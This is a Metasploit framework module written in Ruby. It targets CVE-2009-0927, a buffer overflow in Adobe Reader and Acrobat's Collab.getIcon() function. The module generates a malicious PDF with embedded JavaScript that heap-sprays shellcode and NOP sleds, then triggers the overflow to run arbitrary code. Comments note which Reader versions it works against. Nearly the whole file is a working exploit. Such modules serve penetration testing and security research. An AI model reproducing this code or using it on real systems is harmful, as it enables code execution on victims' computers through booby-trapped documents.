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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::PDF
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Adobe Collab.getIcon() Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
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        Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
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        crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
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        be able to execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'MC',
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          'Didier Stevens <didier.stevens[at]gmail.com>',
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          'jduck'
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-0927' ],
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          [ 'OSVDB', '53647' ],
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          [ 'ZDI', '09-014' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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      'Payload'        =>
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        {
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          'Space'         => 1024,
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          'BadChars'      => "\x00",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # test results (on Windows XP SP3)
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          # reader 7.0.5 - no trigger
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          # reader 7.0.8 - no trigger
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          # reader 7.0.9 - no trigger
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          # reader 7.1.0 - no trigger
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          # reader 7.1.1 - reported not vulnerable
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          # reader 8.0.0 - works
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          # reader 8.1.2 - works
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          # reader 8.1.3 - reported not vulnerable
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          # reader 9.0.0 - works
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          # reader 9.1.0 - reported not vulnerable
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          [ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
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        ],
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      'DisclosureDate' => '2009-03-24',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
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      ])
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  end
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  def exploit
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Make some nops
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    nops    = Rex::Text.to_unescape(make_nops(4))
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    # Randomize variables
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    rand1  = rand_text_alpha(rand(100) + 1)
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    rand2  = rand_text_alpha(rand(100) + 1)
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    rand3  = rand_text_alpha(rand(100) + 1)
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    rand4  = rand_text_alpha(rand(100) + 1)
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    rand5  = rand_text_alpha(rand(100) + 1)
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    rand6  = rand_text_alpha(rand(100) + 1)
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    rand7  = rand_text_alpha(rand(100) + 1)
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    rand8  = rand_text_alpha(rand(100) + 1)
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    rand9  = rand_text_alpha(rand(100) + 1)
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    rand10 = rand_text_alpha(rand(100) + 1)
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    rand11 = rand_text_alpha(rand(100) + 1)
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    rand12 = rand_text_alpha(rand(100) + 1)
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    script = %Q|
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    var #{rand1} = unescape("#{shellcode}");
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    var #{rand2} ="";
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    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
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    #{rand4} = #{rand2} + #{rand1};
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    #{rand5} = unescape("#{nops}");
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    #{rand6} = 20;
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    #{rand7} = #{rand6}+#{rand4}.length
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    while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
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    #{rand8} = #{rand5}.substring(0, #{rand7});
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    #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
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    while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
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    #{rand10} = new Array();
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    for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
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    var #{rand12} = unescape("%0a");
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    while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
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    #{rand12} = "N."+#{rand12};
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    Collab.getIcon(#{rand12});
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          |
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    # Create the pdf
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    #pdf = make_pdf(script)
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    pdf = create_pdf(script)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(pdf)
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  end
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end
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